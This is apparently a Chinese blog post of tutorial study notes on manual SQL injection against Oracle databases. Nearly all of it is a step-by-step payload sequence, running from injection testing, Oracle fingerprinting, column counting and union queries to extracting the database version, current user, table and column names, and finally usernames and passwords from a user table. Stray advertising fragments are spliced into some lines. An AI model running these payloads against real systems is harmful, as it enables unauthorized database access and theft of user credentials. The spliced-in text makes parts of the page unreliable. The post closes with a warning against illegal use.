作者:admin 日期:2023-10-14 瀏覽: 次
某教程學(xué)習(xí)筆記(一):10、oracle數(shù)據(jù)庫注入
這個社會,最可悲的莫過于那些既不是學(xué)霸,也不全是學(xué)渣的人,他們聽不懂課,作業(yè)不會做,不逃課,不搗亂紀(jì)律,為考試著急,卻又無奈與現(xiàn)狀,三分鐘熱度,又恨自己不爭氣,更是以最普遍的身份埋沒在人群中,正過著最最煎熬的日子。。。。
---- 網(wǎng)易云熱評
一、Oracle數(shù)據(jù)庫
一般大型企業(yè)都會用到,物流、旅游、航空、銀行等等。。。
1、支持多用戶、大事務(wù)量的處理
濱海數(shù)據(jù)恢復(fù)2、數(shù)據(jù)安全性和完整性的有效控制
3、支持分布式數(shù)據(jù)處理
4、移植性強(qiáng)
二、手動注入
1、判斷是否存在
and 1=1 返回正常
and 1=2 返回錯誤
2、判斷是否是Oracle數(shù)據(jù)庫
and exists(select * from dual)
and exists(select * from user_tables)
返回正常說明是oracle
3、判斷數(shù)列
order by 2 返回正常,說明有兩列
4、聯(lián)合查詢
union select null,null from dual,這里不能寫1,2 需要用null替換,然后將每個null用數(shù)字和字符替換一下,發(fā)現(xiàn)數(shù)字就報錯,字符不報錯
union select 1,null from dual 報錯
南通數(shù)據(jù)恢復(fù)union select null,1 from dual 報錯
union select 'null','null' from dual 返回如下界面,這時就可以用下面的查詢語句了
5、獲取數(shù)據(jù)庫版本
(select banner from sys.v_$Version where rownum=1)
6、獲取連接數(shù)據(jù)庫的當(dāng)前用戶
(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)
7、獲取數(shù)據(jù)庫
(select instance_name from v$instance) 獲取當(dāng)前數(shù)據(jù)庫
(select owner from all_tables where rownum=1)獲取第一個數(shù)據(jù)庫
(select owner from all_tables where rownum=1 and owner<>'SYS')獲取第二個數(shù)據(jù)庫
8、獲取表名
(select table_name from user_tables where rownum=1 and table_name like '?%') from dual
10、獲取列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)
11、獲取第二列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')
12、獲取字段內(nèi)容
id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"
union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 獲取第二個用戶信息
禁止非法,后果自負(fù)